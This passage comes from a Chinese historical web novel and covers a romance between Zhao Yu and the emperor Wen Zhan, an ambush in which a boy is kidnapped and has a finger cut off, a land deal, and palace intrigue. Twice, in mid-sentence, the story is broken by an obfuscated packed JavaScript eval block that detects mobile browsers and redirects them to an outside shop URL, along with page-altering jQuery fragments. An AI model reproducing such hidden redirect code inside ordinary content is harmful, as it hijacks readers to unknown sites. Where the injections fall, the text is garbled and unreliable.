赵毓乐,“怎么可能?永嘉虽然地少,可是怎么也沾了鱼米之乡的边儿,山清水秀,没粮食可以捞鱼虾,可以吃青菜,可以吃果子,真正穷苦的地方,他们是看不见的。 西北肃州那边没有水,地里几乎什么都没有,很多土地寸草不生,那里的人们为了省下那些水浇地吃饭,一年到头澡都不洗。早上起来,一家大小排排坐,当娘的口含一口水从东到西一喷,就算是洗漱了。 我在肃州的时候,头发像毛毡子一样,全身都长虱子,就那样,人们还认为我穷讲究,因为我耳朵后面好歹还是皮肉,不是一层洗不净的脏土。你要是见过我那个样子,估计就该嫌弃了。” 文湛,“不会。” 赵毓就是笑。 文湛,“羡云飞的事,其实不用这么麻烦。三法司没有定罪,我不好说什么,如果一旦石家的罪责查有实证,直接灭族,这些土地完全空出来,到时候想做什么都可以。” “灭族?” 可能在民间太久了,‘灭族’对于赵毓不再是邸报上那轻描淡写的两个字。 “我和我娘也是灭族大案的残余,听到这个词就是一个激灵,对那些血淋淋感同身受。大郑国法煌煌,到不是说罪犯滔天之后也不要严惩,而是这么做终究有伤天和。上天有好生之德,如果不到这一步,就不要做这样的事。你还有太子,怎么也要为他积一些福报。” “还有,……” “世家的土地,有些是不肖子孙不息天怒人怨兼并来的,有些则是那些先人们披荆斩棘,为大郑立下赫赫之功拼回来的。时过境迁之后,为了夺取土地而拿这些世家子弟大开杀戒,让勋贵和清流豪族们寒心,也不是大郑的福祉。” 文湛听着,点了点头,“嗯,知道了。” 赵毓,“我是不是有些多话?” 文湛,“不会。” 他们回去,主人已经煮了一些稀粥,还有准备了一些小菜。 赵毓感觉全身有汗,又有细雨湿黏,他让主家将周熙带来的汤圆煮好,放上桂花酱,盛在碗中,装入一个小木桶,再带上一小壶淡酒,就同文湛去后山泡温泉。 这里的温泉是个小池子,四周没有栅栏,也没有阻隔,直接看到树林与花草。 收拾的还算干净。 文湛让赵毓坐在浅水的边缘,又把装着汤圆的碗给他,让他端着慢慢吃。 “我给你擦擦背。” 赵毓的后背尽是纵横交错的疤,有鞭伤,也有刀枪箭矢留下的细痕。 上次在冉庄他被利箭划开的沟壑已经愈合,涂抹了黄枞菖拿过去的药膏,狰狞的劲已经过去,只留下一道从肩膀到腰身的伤痕。 文湛拿着布巾不轻不重的擦着,赵毓居然感觉很舒服。 “承怡,以后你和我说话不要避讳,不要遣词造句,这些都是楚蔷生他们的事。如果从你口中都听不到内心真正想要说的话语,那我就真是孤家寡人了。还有,……” 夜幕已降。 微微细雨,温泉水汽氲氤,周围是青草与野花的香气。 赵毓刚吞下一个汤圆,口齿都是黑芝麻与桂花酱的甜腻,就感觉到扭头手指轻轻扭过他的下巴,他同文湛鼻尖几乎要对上鼻尖了。 “我是你的夫婿,本来养家活口应该是我的事,既然你不需要,那至少你想要做什么,不要瞒着我。” “为什么不是娘子?” “是夫婿。” 在这一点上,文湛极其执着。 文湛在赵毓嘴角轻轻舔走一抹桂花酱,进而他想要继续这个亲吻,就被赵毓用勺子喂了一个猪油汤圆。 “呜,……” 夜里,雨水停了,风一吹,云也散了。 此时,小屋的一扇窗被清风敲开,方寸之间,是夜空的中无垠的星河,而文湛的眼睛比那些更要璀璨。 赵毓原本以为他与文湛之间这么多年的纠葛,最后在一起,已经不再有波澜。 他错了。 文湛对他有着火焚般蓬勃的热情,从他长大开始,从来没有淡过。深宫中滋生的情,如同微音殿顶上那些蔓藤莲花,扭曲却绚烂。 此时的文湛像一只雄豹。 矫健,却比猛兽金贵也纤细。 赵毓不是他的血食,而是他尽心守护的疆域或是珍宝。 “承怡,我,……” 文湛想说他喜欢他,却忽然想起来他们的初次。 那个时候也像现在这样。 他对他的深情如烈焰如波涛,汹涌澎湃到无法克制无法阻挡,即使他用尽全力,也没有办法再隐藏下去,他感觉自己的心被刨开,那里已经不属于他,只属于承怡! 文湛脱口而出就是——承怡,我喜欢你。 只是。 换来的却是承怡的暴怒。 他不敢再说了。 而此时,赵毓单手轻轻揽住文湛的肩,附在他的耳边,轻轻说: “文湛,我喜欢你,……” 元明镇。 再向前五十里就是太行山。 这里是一个河滩,旁边的千梁河是黄河的支流,辗转到这里水已经很清澈了,并且流动缓慢,刚好弯成一个滩,远处就是他们绕过的元明镇。 天刚擦黑,炊烟与灯火,人间的气息没有散去。 尹徵手中是一个大碗,碗边还有破损。他从埋锅造饭的伙夫的大勺子中装了一份熬菜,又拿了两个馒头,这才到囚车这边。 车上是一个年轻男人,也就二十多岁。 身带重枷,手腕上缠绕着玄铁打造的镣铐。 “柯表哥,吃饭了。” 尹徵拿着筷子,一点一点小心翼翼的给那个人喂饭。 这个人很小就到了他们家,据说是尹家出嫁的一个表姑姑的儿子,因为父母早死,他无处可去就到了云中。 他同尹徵一直很好,一起到私塾念书,一起骑马,还一起上独玉山。 这次尹徵从云中离开的时候还说等他从雍京回来,他给他带雍京最好的点心,然后他们再去独玉山看云海。 尹徵不知道发生了什么。 他姐夫赵毓写信回云中,让他爹派家臣杨进到雍京接他回云中,谁知道他们距离云中还有一天的路,就看见宁淮侯的军队外加他老爹尹明扬与他的随从押送人去雍京。 那辆囚车上,就是柯表哥。 不过,据说他现在叫何初云。 而且,他也不是尹徵的远方表哥,而是罪臣何晋的儿子。 河滩上支着火堆。 崔珩在河水中把自己洗清爽,换上干净的白色细麻里衣坐在火堆前的大石头上,亲兵已经将他的脏衣服收去处理。 他拿着牛皮的水带刚喝两口,就听见不远处有人哭。 “谁在那儿嚎?” 一个小亲兵过来,“侯爷,是尹大人家的小公子。” “哭什么,又不是第一次离开家,他亲爹不是在这儿吗?” 崔珩崔讨厌小孩子,尤其是讨厌像尹桂宝儿这样娇生惯养的小孩子。只不过尹徵是赵毓的亲小舅子,在他这里免死金牌,这是实在没法子的事。 崔珩,“刚才我在元明镇买了一些花生芝麻酥姜糖,原本是带回去给我表弟吃的,你给他拿点,让他别哭了。” 那个小亲兵领命下去。 不一会儿,尹徵的哭声小了,也停了,想必是吃了糖,就忘记哭泣了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728899|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔珩抬头看看脑袋顶上的星空。一道天河贯穿天际,璀璨带着神秘莫测的意味,在夜空中刻下浓墨重彩的一笔,却好像一道深不可测的鸿沟,将天空划分成似乎无法逾越的两端。 他拿出自己削的竹笛,对着河水有一搭没一搭的吹着冉庄的小曲儿。 尹徵捧着酥糖过来。 “侯爷,您和我姐夫很熟吗?” 他一直不知道赵毓同崔珩的关系,他觉得赵格非知道,但是那个丫头的嘴巴好像被缝起来一样,吃了吃饭多吃两口之外,其他的话一向不多说。他怎么问都问不出赵毓与崔珩究竟是怎么认识的,为什么崔珩可以让自己和赵格非在宁淮侯府住那么久,还好吃好喝好招待? “不熟。”崔珩不吹笛子了。 那十年他同赵毓真的不熟。 他必须让人淡忘赵毓是他的表弟,他需要让人不再记得他还有一个表弟。 因为他自始至终只有一个表弟,而那个人就是曾经的皇长子祈王,然而,他已经被褫夺了王爵,抄家之后几乎一无所有,也离开了雍京城。 既然赵毓已经从承怡成为赵毓,他也从崔碧城成了崔珩,就让这些改变更加坚固,也更加长远吧。 尹徵坐在他旁边的小石头上,“您刚才吹的曲子,我听姐夫吹过。他在西北,想家就吹一吹,不过姐夫吹的不如您吹的好听。我听说您也是冉庄人,你们冉庄的人都会吹这个吗?” “不是。” 崔珩将笛子放在一旁。 他精通音律,喜爱票戏,这个小曲是他在毓正宫读书时候自己乱吹的游戏之作。 不知道怎么了,崔珩忽然觉得自己耐心长了一点,他想跟尹徵说两句话,“你刚才哭什么,想家?” “柯表哥的事。”尹徵啃了一口酥糖,“崔侯爷,他到雍京之后会死吗?” 这种事,崔珩也不好说,“不知道。” 尹徵,“那他会被流放吗?” 崔珩难得还是很有耐心,“现在也不清楚。” 尹徵,“那,……” 崔珩忽然一把扯过尹徵! 随后,一道利箭从千梁河对岸破空而来。 瞬间,万箭齐发。 几只利箭已经射散了火堆,散落的木柴上燃烧着破败的火焰,崔珩肩膀中箭,他将已经吓傻的尹徵推入侍卫队中,目测了一下这里的人数,应该能保护尹徵的安全,接着就用刀看到箭矢的木杆,抽出长剑直奔囚车。 果然,这里正在鏖战。 来了黑压压的一片人,看不清楚路数,直接杀到囚车前面。 他们似乎不计较性命一般,以几倍的人数将看守囚车的守军杀灭,尹明扬已经致仕,家中除了几个看家护院的家臣不再豢养私兵,他的人除了杨进之外,也已经死的差不多了。 哪里来的这些多人? 这一路上,崔珩一直警惕,并无异常,他们将要过太行山,马上到直隶境内,届时直隶总督会加重兵押送,他肩上的担子会轻薄一些。 没想到。 崔珩一声口哨,原本他设计隐藏在河滩以上,树林中的兵士手持利刃冲杀下来! 囚车这边的人很快被全歼。 尹明扬后背甚至被砍伤。 崔珩见囚车之中的人全身泼上营救者的血,他并没有受伤,那些人虽然用长刀砍到了囚车的木栏,却没有砍断,重犯何初云除了被吓傻之外,一切安好。 他活着,没有受伤,手上是重铐。 崔珩以剑尖点地,他微微弯腰,喘气。他的脑子有些乱,周围的砍杀声逐渐平息,但是他开始心慌,像是哪里不对?他忽略了哪里?究竟是哪里? “啊!……” 一声惨叫。 崔珩与尹明扬同时向水岸看去!那里不知道什么时候冒出来更多的人,其中一个人拿着胡刀杀进崔珩的卫队当中,一边抓住尹徵,扯到胸前,继而以迅雷不及掩耳之势召唤了他的马,他翻身上马,迅速过河! 那人在河对岸,摘下头上的黑套,他张嘴,却是一种非常古怪的口音。 “尹大人,十四年不见,别来无恙?” 星河下,大河彼岸,那个人苍白的面皮,浑浊却泛着苍蓝色的眼珠,还有那张因为多年的痛苦而扭曲的脸。 尹明扬眼神一凝,“浑·撒怜丁?” 听到这个名字,崔珩也是一惊。 洪丁一声长啸,“尹明扬,当年你屠我族人,占我土地,可曾想过有今天?” 说完,他一刀切掉尹徵的一根手指,扔到马下。 尹徵惨烈的哭叫,尹明扬想要扑过长河,却被崔珩一把揪住,他后背的血喷出。 洪丁,“尹大人,您是忠臣良将,我给你一次机会。我要何晋的儿子,拿你儿子换何晋的儿子,换不换?” 42. 42 42 崔珩看着尹明扬。 河滩上被利箭射乱的火硬着夜风摇曳,好像是传说里地狱中那些乱舞的群魔。 崔珩,“尹大人,换不换?” 他似乎将决定权交给尹明扬,他的眼珠子映着火光,可是脸上却如同贴上一层纸,就这样一瞬不瞬的看着尹明扬。 尹明扬闭上眼睛,再也无法支撑,瘫坐在河滩上。 他极其缓慢的摇了摇头。 崔珩转身,提着长剑,点了人,趁着夜色的遮掩,沿着河向洪丁那边追去。 洪丁似乎也知道这边的决定,他并不恋战,只打了几个回合,便扯动缰绳,策马离去。 崔珩的人又杀了那边几个人,却不敢杀戮过重,怕伤害尹徵性命,最后,他们只能眼睁睁看着洪丁带尹徵走。 崔珩身边带着斥候,他让这些人一路跟踪洪丁,探明动向,随时来报。 随行的军医帮崔珩疗伤,他拿着刀,将崔珩肩膀上的箭头剜下,又用肠线进行缝合。 原本的尹明扬有一些名将白头的意味,但是再白头也是名将,此时,他竟然像是一下子被抽掉筋骨,人好像是散了架,变得有些破败。 尹明扬开口,“何晋在边境有私兵。他已被押诏狱,撒怜丁想要他的儿子是想以何晋血脉控制他的残余势力。” 崔珩,“如果不是出了这件事,尹大人是否想一直隐瞒下去?” 尹明扬摇头,“圣上知道。我离京之前写了密折,听说,北疆已经换防。” 崔珩点了点头才说,“他们野心不小。妄图染指江山?” “染指大郑?何晋有自知之明,他没这个念头。”尹明扬,“他应该只想在边境之外自立门户。但是那个异族人想要做什么,只有天知道了。毕竟非我族人其心必异。无论如何,何初云不能落在撒怜丁手中。” 崔珩点头,“尹大人,何初云是圣上要的人,崔某王命在身不容有失。不过,尹徵是在我手中丢的,我一定帮你找回来。” 崔珩随后一字一顿加了一句,“我一定帮你活着找回来。” 他让人拿了鸦|片膏,兑了水,一口一口喝下。 他知道自己喝了什么,只不过此时他们没有时间养伤,也没有时间休息,他们必须马上走,越早回雍京越好。 斥候传回来消息,洪丁的人竟然也过太行山,进入直隶境内。崔珩将自己的令符交由亲兵带走,直接去直隶总督署,请总督颜峨出兵协助,只是,一直到洪丁他们离开直隶境内,再也没有他们的消息。 …… 这一次,石慎收到的是赵毓的请客票。 约的是夜饭。 既然双方都做不了彼此,那么就是朋友了,可以坐下来谈。 这个地方也好。 这里距离羡云飞不远不近,刚好可以看见羡云飞的恢弘细致的园林;距离西北道的白苑不远不近,刚好可以看见白苑的明武堂背面的房顶;距离十三行的茶行也不远不近,刚好可以看到那充满了江南风情的竹林。 所以,这里是个三不管的地方。 一个山丘,上面一个凉亭。 说是有饭,其实桌面上空空如也。 又开始下雨,不到掌灯已经昏暗不堪,亭子中放着一盏破油灯。 石慎吩咐手下人在外面不远不近的地方等着,他自己登上凉亭,发现这里已经有三个人了。其中两个人他认识,赵毓与薛宣平,还有另外一个人。石慎看着他有些眼熟,只是这些天他焦头烂额,几乎没有时间睡觉,头昏脑涨之下,也就想不起来究竟在哪里见过,只是感觉他那双鸦翅一般的眉有说不出来的清俊。 薛宣平认识的人多是兵痞流氓,贩夫走卒,就算是三教九流也是下九流居多。 边境上那些封疆大吏他只是远远看过几眼。 这是他第一次当面看到王侯世子。 公卿家族的世家子弟,这人好像是褪去了毛的桃子,或者是西北那些皮肉滑嫩的蜜瓜。 虽然薛宣平知道这人做的事情与斯文没有关系,但是他看石慎的第一眼,还是觉得此人似乎是书本中泡大的一般,当然,随侯世子没有赵毓的相好那种清贵难言的书卷气,却还算在斯文的圈子内。 想到这里,他对石慎没有什么兴趣,反而对赵毓相好的感兴趣。 这人把一个侯府世子比的跟杂草一样,他究竟是谁? 老赵眼光毒辣,找到人也不是凡品。 “呦,石世子,几天不见,您怎么成这样了?”赵毓笑语盈盈的,“没事儿,今天您过来一趟,那些烦心事儿就过去了。等一会儿,老薛把银票给您,您晚上能睡踏实了。” “赵先生真是不知所谓。”石慎冷笑,“这位薛先生说的不错,你果然是钻山打洞的想要羡云飞。” 赵毓还是笑,“那还不是你这东西好,我又不亏待你,你给谁不是给?再说,恐怕除了我,一个月之内,绮镇这里不会有其他人能接手羡云飞。那些人,权势滔天的不想拿钱,想要这里的又没钱,剩下的就是隔岸观火,像我这种有钱拿的出来,又不会怕脱不了手的,还真没有分号。” 石慎没说话。 赵毓,“五成,可以吗?” 薛宣平听着就开始咳嗽。 他上午刚从十三行陈三龙那里拿出来总价是羡云飞七成五的银票,赵毓当时信誓旦旦的七成征地,怎么,吃完晌午饭,还没消化了,这会儿赵毓就开价五成了?他空手套白狼,一下子就想要赚二成五,不怕撑死? 石慎,“六成五。” 赵毓,“此一时彼一时。当时,世子您有西北道萧呈给您兜着。您就算要七成,我也得应。现在时过境迁了,我说五成,您要是不卖,只能运走其中的金银细软,字画古董,哦,还有您那些个号称价值几十万两白银的门板回雍京自己卖去了。不过,我还可以帮您再搭一条路,万一,我是说万一,您还可以全身而退。” 石慎,“赵先生的路,怕是有豺狼虎豹,我可不敢走。” 赵毓摇头,“我说到做到。您走东海,一切给您安排好。只是,这是生路,是否能走的成,一看天,二看命,三看您自己的本事。” 过了好一会儿,石慎,“好,我要现银。” 赵毓摇头,“给您十三行的银票,如果您想要现银,您得自己回雍京兑。不是我坑您,世子,这么多现银需要镖局押送,每个十天半个月的银子过不了。不要说我,整个绮镇也没人能满足您这个要求。这里北有镇守将军燕遂宁,南边就是雍京北城,您怎么可能把这些现银安稳运走?” 石慎,“可否近一步说话?” 赵毓想了想,让薛宣平在外面等一下。 老薛十分听话,直接离开,他知道,很多事情不要乱打听,不然很容易死到临头还做着明年春天喝酒看戏的春秋大梦。 石慎看看文湛,赵毓则说,“他聋。” 石慎知道无法支走此人,于是对赵毓说,“我要现银,是因为重赏之下必有勇夫,我想要一人的性命。” 赵毓想都不想,直接摇头,“不成。你杀了他,也未必有活路。” 石慎,“你知道我杀谁?” 赵毓,“随侯。” 凉亭中骤然静寂。 半晌,石慎才低声说,“不愧是做过亲王的人。看样子兄弟阋墙,父子相残这种事,你看多了,也习惯了。” 赵毓摇头,“我娘就生了我一个,我爹死前也不知道我是公是母。不过我爹给我留了很多念想儿,听我娘说,他人挺好的。我可不知道你口中的什么兄弟阋墙,父子相残。说实话,你是生是死,我不管,也没兴趣,不过在我拿到羡云飞地契之前,我可不能让你做傻事。我能给您的就这么多,您需要自己取舍。” 石慎忽然笑道,“我可以杀了你们,自己拿银票。” 说着,他手指一摆,亭子外面的人离开弯弓搭箭,十几个人的利箭就对着亭子中的赵毓与文湛,另外三个人的箭,直接对着薛宣平。 薛宣平惨叫一声! 只是这声音没落,他们看见文湛从后背取下一张细小的弓。 他的拇指按住弓箭的前端,啸响一声,弓身瞬间拉长,几声咔吧的声响过后,这张弓变成之前的三倍,弓弦自动张开,文湛拿出三支极细的箭,搭在弓弦上,手指上是极品昆仑玉与玄铁做的指护,慢慢拉开弓弦。 三支细箭的尖端全部对准石慎。 大意了。 石慎想,也许此时他下令放箭,自己的人能杀掉这三个人,只是他也会顷刻毙命。他没想到赵毓与那个人看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728900|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文弱,竟然带着兵器,而且是雍京制造局不出世的软弓与细箭。 此时。 石慎看着面无表情的文湛,他似乎是一尊玉雕,只有那双鸦翅一般的眉,秀致却冷然,显示出作为人的情绪,——盛怒! ——鸦翅一般的眉,…… 石慎心中竟然咯噔了一下。 赵毓还在笑,“世子,既然我们都做不了对方就是朋友。怎么样,我的想法,您同意吗?” 石慎从怀中拿出地契,放在凉亭的石桌上。 …… 雍王府。 先帝七皇子雍王越筝是个极其难缠的人物。 石慎也没有想到自己穷途暮路之后,求见雍王,竟然能进王府客厅。 雍王身上是浅灰色的缂丝常服,同所有的皇族一样,衣料上熏着浓重的香气。这味道异常名贵,是以沉木,金楠,檀木,龙涎打底,外引是金合欢与玫瑰,再仔细辨认,似乎还有冰髓,让人在诸香萦绕中感到一丝冷意。 越筝今年十九岁,面容带着少年的娇憨,只是他那双鸦翅一般的眉,竟然使他生出几分凌然的俊美。 “世子坐。”越筝吩咐,“看茶。” 一位侍女手捧楠木托盘,上了两盏岐山云雾,随即退下。 “世子夤夜前来,怕是无事不登三宝殿吧。” 越筝端着茶盏,轻轻喝了一口,没听见石慎说话,他微微挑眉看了一眼,“怎么?” “殿下好样貌,这道眉生的好。”石慎忽然说了这么一句,显得前言不搭后语的。 越筝则笑,“倒是很少听人这么说。”他放下茶盏,“我长的像陛下,眉毛尤其像。只是私下不可议圣,自然不会有人说我长的好还是不好。不过从小到大,宫里人都说我与六哥很像。” 石慎,“圣上亲自教导殿下,您的性子想必与圣上也是像的。” 越筝,“不一样。我十九岁,与陛下当年登基的年纪相同,只是没有皇兄的雄才伟略,如今只不过是个闲散亲王,在雍京城混日子罢了。” 关于今上是否雄才伟略,其实石慎并没有太多想法。 因为他距离皇帝太远,平时里又不能随便议圣,他自然知道的不多。只是对于他来说,今上是个异常矛盾的人。 皇帝的政绩与先帝那种征伐天下的功绩,在众人口中,不可同日而语。 今上如同看不见也摸不到的圣像。 他少年登基,谈不上什么伟烈丰功。 如今,元熙帝治世十四年,疆域内四平八稳,颇有一股海清河晏,天下太平的气象。 先帝为他打下一个盛世基业,他是守成君王,性子平淡一些也是可以的,很多人都说今上运气好。 他是先帝唯一嫡子,登基是顺理成章的事情。 只是,石慎知道,大郑开国一千二百年,嫡出太子为储君,最后顺利继位的君主,不超过四人,今上就是这第四位。 运气。 自然是有的。 紫微帝星托世,众神庇佑。 至于别的,…… 石慎自然不可能无知到认为今上是仅仅凭借自己是先皇嫡子这点运气而顺利登基。他甚至还知道,执政十四年的太平天子,必定有不显露于众生之前的功业。 凤化末年权力更迭血腥无比。 前朝首辅杜氏抄家灭族,先皇后裴氏被夷三族,朝中大臣半数被波及,多人十年萤雪的功名瞬间成为泡影,先祖战功彪炳的几大世家尽成枯骨。不止如此,先皇子息凋零,七子如今只剩下圣上与雍王。 这样的腥风血雨中,元熙帝文湛以十九岁的年纪似乎手不染轻尘般成为大郑王朝的主宰。 运气? 只不过是庸人的解读。 还有别的,那是局外人根本无从了解的东西,就像是大郑宫,屹立千年,岿然不动。 石慎收敛心神,对雍王说,“殿下,最近我惹到实在不应该惹的人。” 越筝则微笑道,“我听说了。你惹了我家长兄,那必然就是世子的错。我家长兄为人温和,性格柔软,不会与人为敌。听说我家长兄已经回雍京,世子可以登门道歉,长兄不会与世子为难。” “殿下家的,……,长兄吗?”听到雍王这样称呼赵毓,石慎的心已经沉入深渊。 43. 43 43 禁宫,鹧鸪殿。 后半夜,眼看着再折腾下去,天都要亮了。 赵毓伸手,在文湛后背狠狠抓了两道子,“够了。” 文湛似乎不为所动,只是动作越加汹涌。 内殿中有叫声。 那嗓子带着媚,外面听着的人一激灵,后脖子上都是汗。 殿外是低眉顺眼如同泥胎一般的柳丛容与黄枞菖,再远处才是等着伺候的十个小太监,一个一个的低着头,似乎只能看着太液池那些摇曳着的莲叶。然而这时夜幕已重,鹧鸪殿内灯火璀璨,太液池前只能听到风过水面,莲叶浮动的声音,却几乎看不到什么。 终于,一切归于平静。 文湛要了热水,他绞了布巾垫在赵毓腰身下,然后撑住他,让他坐起来,头靠在自己的肩膀上,缓缓神,让该清理的东西出来一些。 赵毓有气无力的骂了一句,“牲口!” 文湛却不接话,反而拿起赵毓的手指看了看,“方才抓的挺狠,手指疼不疼?” 赵毓左手无名指端有丝血迹,——红色的,极淡。 不知怎么了,竟然让文湛想到民间传闻的姻缘线缠绕在指尖。 …… 雍王府。 石慎有些艰难的开口,“我只知道赵先生被先帝夺爵。” 越筝点头喝茶,“那也是没有办法的事,长兄的确不是父皇的骨血。” 石慎看着越筝喝茶,“赵先生离开雍京那年,应该是元熙元年,那个时候殿下只有五岁,依然记得住故人,真是长情。我们这种外人,还以为赵先生权势已散,现在所倚重的不过是宁淮侯崔珩了。” 越筝,“这些事情只要你有心打听一下,就应该知道的,我幼年与长兄关系极好,他疼我。世子,你还知道什么?” 石慎,“听说,祈王曾经是东宫嫡系。” 越筝,“长兄与我皇兄嘛,……,怎么,令妹吉王妃没有告诉过你吗?” 石慎不说话。 越筝则笑,“看样子吉王妃什么都没有说过。这位老王叔表面上碌碌无为,其实心里比谁都明白,还治家有方,驭下极严,雍京这么多王侯,削爵的削爵,流放的流放,灭族的灭族,只有他安安稳稳的活到现在,家中娇妻美妾,儿孙满堂,其乐融融,这才是福气。” 石慎,“王妃有儿子,要为儿子多想想。这种多一句嘴就会祸及全族的事,王妃自然守口如瓶。” 越筝,“其实也没什么大不了的,我说过,我家长兄性格柔软,从不与人为敌,圣上自然容得下他。” 听雍王说话真真假假。 性格柔软,从不与人为敌,圣上自然容得下他? 凤化末年死去的那些皇子们,难道个个性格暴烈,处处与人为敌,所以今上才容不下去吗? 还有。 在绮镇,那个站在赵毓身后用制造局的利箭对准自己的那个人,…… 那个人仔细看与雍王生的极像,就是年长一些,尤其是他的那两道眉,像是乌鸦或者燕子的尾,极黑,不带一丝杂色,纤细秀致锋利。他是布衫,头发没有严苛的束好,显得有些散漫,却让石慎想到,那些大朝会之时,九重御座之上,十二道白玉珠旒冕之下,一个模糊的面孔。 所有的事情不能细想,就像野草织就的毯子盖在深渊上,看上去似乎蔓草青青,只要脚踏上去就会万劫不复。 石慎,“王爷深夜见我,不会只是想要我去给赵先生赔不是吧。” 越筝,“哦,那我见你所为何事?” 石慎,“我手中有边境密档。大郑西北、北境长年用兵,百年来倚重藩镇,这些人与朝中势力盘根交错犹如野兽,殿下持有密档就如同持有一个制服野兽的牢笼或者是脖子上的铁链,可以驯服其为殿下所用。不知道这些东西,殿下是否动心?” 越筝又拿着茶盏,“我一个闲散亲王,要这些东西做什么?烫手。” 石慎,“今年三月,圣上命东宫拜鸿儒叶颐为师。这位叶师号称布衣宰相,不居官职、不着官服,却在元熙初年辅佐过圣上,为圣上平定回鹘九部的叛乱,在东川督修水利,当然,最著名的就是《岐山七问》,虽然秘而不宣,不过天下都知道,那是一部《隆中对》,那是他为圣上写的天下格局。他早年修道,中年改为儒生,门生遍天下,这样的人为东宫之师,殿下,您安心吗?” 越筝,“东宫就是东宫。” 石慎,“既然雍王殿下对这些都不感兴趣,想必,对这本账目,也不感兴趣?” 此时,石慎才从宽大的袖子中拿出几页纸,上面抄了一些账目明细,不全,却十分混乱。 所有往来对接一应俱全,却如同乱麻。 最后一页纸有所不同。 它似乎是对前几页的解释,如同快刀斩乱麻,清除一切乱象,清晰明了。 所有账目指向一人,则是雍王府总管卫锦的族弟,卫镜。 石慎,“殿下,这是前延绥镇守将军何晋的秘账,不全,时间太紧,我只让人抄了这几页。何晋此人在蒙古鞑靼进犯绥靖时弃城而逃,罪犯滔天,现已押入诏狱。他府邸一切东西,只要上面有字的纸张全部封入木箱中,从绥靖押回雍京。 其中最让户部头疼的就是这一本东西,虽然知道应该是秘账,但是所有人拿着算盘扯了大半个月,什么都对不上。人名写的都是缺半角的字,不过,我只看了一眼,就知道是谁的手笔。殿下,您知道吗?” 外面有打更的声音,居然能透过王府重重叠叠的朱红墙黑瓦传进来。 石慎,“赵毓的手笔。” 越筝此时方将茶盏放回桌面上,即使是盛夏,那些茶水也冷了。 石慎,“这个人可以在西北道的圆桌四老中占一把椅子,除了他背后的尹家,他本人的功绩还有分赃赌桌上无往不利之外,真正让那帮子兵痞服气就是他平账的本事。他的账目是分层的,一笔账要分成几笔,十几笔,甚至几十笔,乱到极点却分毫不差,但是,这些东西除了他之外,谁也看不透,却能让老账房算的清爽。他做的秘账又不一样,就像是上古年代岐山先贤祭祀的胡言乱语,除了账目两端的主人,其他谁也看不懂。只是,赵毓从来不为他人做账,即使是西北道的烂账,他也不做。所以,我第一次看到这本账就感觉到奇怪,这批货明显是人,赵毓不做买卖女人这样的生意,那么这是他为谁做的?为什么做账,仅仅做了这一本?是不是说,这次买卖过后,他与这本账目的主人的关系分崩离析了?” 石慎最后一击,“原本参与走私不是什么大事,只是,与何晋沾上关系,此时都是大忌讳。殿下,东宫那边圣眷正隆,您可不能在这个时候失去圣心。” 越筝,“世子很厉害,小王以为这件事天|衣无缝。” 石慎,“世上没有天|衣无缝的事,原本我也猜不到赵毓这么做为了谁,后来想到一些事情,我也明白了,今晚见到殿下,这个想法只不过更清晰一些。臣现在穷途末路,自然要抓住一切能抓住的人。殿下,您深夜见我,不会只是想要我去给赵先生赔不是吧。” 越筝终于点头,“好,你想要什么?” 石慎,“求条活路。” 越筝,“石府上下我只能保一人性命,我给你们石家留个后。你自己看,这个人是你,你弟弟,你妻肚腹中的孩儿,还是,你爹外室的庶弟?” 石慎豁然抬眼,直勾勾的看着雍王。 此时窗外月光倾泻。 越筝也看着他,眼神竟然是和煦的,温润如同昆仑的玉,他就在木椅上安坐,如同坐在云端的神,看着凡人骨肉反目,兄弟阋墙,父子相残,却露出了笑容。 毫无怜悯。 …… 文湛从微音殿回鹧鸪殿,已经是午后。 政务对于他而言,不是负担,却似乎是与生俱来的责任。 文湛十四岁出毓正宫,十六岁监国,十九岁登基称帝,这么多年,他每日只有二三个时辰安眠,其余空闲几乎俱在微音殿或者书房,外人看来苦不堪言的政务,对他而言不过是日常。 他本身就曾经是生于深宫之中的太子,自幼年开始,在毓正宫以极其严苛的教养形成应对繁冗国事的能力。 还有,文湛本人没有以勤民听政,旰衣宵食在青史博得一席虚名的兴趣,所以,他在了解所有政务细节之后,开始选择性的放权,遴选合适的人去做合适的事情。 比如内阁。 文湛不会被大殿上挂着’敬天法祖’的匾额所控制,做他的宰辅,必定不会是那种四平八稳,满口存天理灭人欲,除了不肯多走一步路,除了只挂心自己仕途之外,与社稷与黎民无一建树的尸位素餐的老吏。 所以,他选择楚蔷生为首辅大臣。 这是个万仞千峰一般的人物,锐意进取又懂制衡之术,大郑国法、祖制与官场人情无一不精通,虽然朝野对楚相早年私德有亏有些异议,但因此人卓越的政治才能,少年时的清苦使其心智坚硬如铁,轻易无法撼动。 而其余几位则分别代表朝中不同派系,彼此互相制衡:何隽棠身体不好,清流豪族;鹿有名与左桂清分别是直隶与永嘉人,寒门学子出身;还有危焕,此人心机深沉,手段狠绝,有用的时候可以是一把锋利的刀,无用直接弃之。 除此之外,还有那些战功彪炳的勋贵世家,却都不如裴檀崔珩得势。定国公裴檀则是裴氏被夷三族之后的幸存;而崔珩根基更浅,身上无功名,之前甚至做过官商,本来就为满朝科甲正途的官员看低,背后既无世家支撑,也无强悍的姻亲,唯一能依仗的不过是天子一人。 朝野居然颇有些政通人和的气象。 原本,文湛的时辰就如同大正宫的日升日落,亘古不变,可是世间总有意外。 